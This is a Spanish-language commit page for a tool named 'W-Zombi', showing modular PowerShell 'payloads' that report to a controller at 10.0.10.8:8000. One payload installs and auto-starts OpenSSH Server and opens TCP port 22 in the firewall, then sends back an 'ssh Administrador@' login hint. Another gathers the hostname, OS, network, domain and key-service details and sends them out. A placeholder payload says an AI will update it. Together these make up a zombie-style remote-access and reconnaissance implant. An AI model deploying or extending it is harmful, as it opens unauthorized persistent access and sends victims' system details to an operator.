[Tools] W-Zombi refactorizado: Ruby servidor, payloads modulares, migrado a tools/

This commit is contained in:
Ricardo Monla
2026-02-27 21:34:52 -03:00
parent 1d62cc278e
commit 73aa405627
10 changed files with 254 additions and 275 deletions
+1
View File
@@ -0,0 +1 @@
Write-Host 'W-Zombi: Sin payload activo. La IA lo actualizara pronto.' -ForegroundColor Yellow
+40
View File
@@ -0,0 +1,40 @@
function Log-Msg {
param([string]$Message)
Write-Host $Message -ForegroundColor Cyan
try {
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
} catch {}
}
Log-Msg "=========================================================="
Log-Msg "INSTALANDO Y HABILITANDO OPENSSH SERVER NATIVO"
Log-Msg "=========================================================="
try {
$sshCheck = Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'
if ($sshCheck.State -ne 'Installed') {
Log-Msg "Instalando caracteristica OpenSSH.Server (esto puede tomar un minuto)..."
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 | Out-Null
} else {
Log-Msg "OpenSSH.Server ya se encuentra instalado."
}
Log-Msg "Configurando servicio sshd en Inicio Automatico..."
Set-Service -Name sshd -StartupType 'Automatic'
Start-Service sshd -ErrorAction SilentlyContinue
if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue)) {
Log-Msg "Abriendo puerto TCP 22 en el Firewall local..."
New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 | Out-Null
}
$ip = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress
Log-Msg "OpenSSH Server instalado y corriendo en el puerto 22."
Log-Msg "Conectar via: ssh Administrador@$($ip[0])"
} catch {
Log-Msg "Fallo al instalar SSH: $_"
}
Log-Msg "=========================================================="
Log-Msg "OPERACION COMPLETADA. Ahora SSH esta disponible."
Log-Msg "=========================================================="
exit
+48
View File
@@ -0,0 +1,48 @@
function Log-Msg {
param([string]$Message)
Write-Host $Message -ForegroundColor Cyan
try {
Invoke-RestMethod -Uri "http://10.0.10.8:8000/log" -Method Post -Body @{msg=$Message} -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
} catch {}
}
Log-Msg "=========================================================="
Log-Msg "SONDA DE DIAGNOSTICO — RELEVAMIENTO DEL SISTEMA"
Log-Msg "=========================================================="
Log-Msg "Hostname: $env:COMPUTERNAME"
Log-Msg "OS: $((Get-CimInstance Win32_OperatingSystem).Caption)"
Log-Msg "Arquitectura: $((Get-CimInstance Win32_OperatingSystem).OSArchitecture)"
# Red
$ips = Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback'
foreach ($ip in $ips) {
Log-Msg "Red [$($ip.InterfaceAlias)]: $($ip.IPAddress)/$($ip.PrefixLength)"
}
# Dominio
try {
$domain = (Get-CimInstance Win32_ComputerSystem).Domain
$inDomain = (Get-CimInstance Win32_ComputerSystem).PartOfDomain
Log-Msg "Dominio: $domain (Unido: $inDomain)"
} catch {
Log-Msg "Dominio: No disponible"
}
# Servicios clave
$servicios = @('sshd', 'MSSQLSERVER', 'NTDS', 'DNS')
foreach ($svc in $servicios) {
$s = Get-Service -Name $svc -ErrorAction SilentlyContinue
if ($s) {
Log-Msg "Servicio [$svc]: $($s.Status)"
}
}
# Firewall SSH
$rule = Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue
Log-Msg "Firewall SSH (TCP 22): $(if ($rule) { 'Habilitado' } else { 'No configurado' })"
Log-Msg "=========================================================="
Log-Msg "SONDA COMPLETADA."
Log-Msg "=========================================================="
exit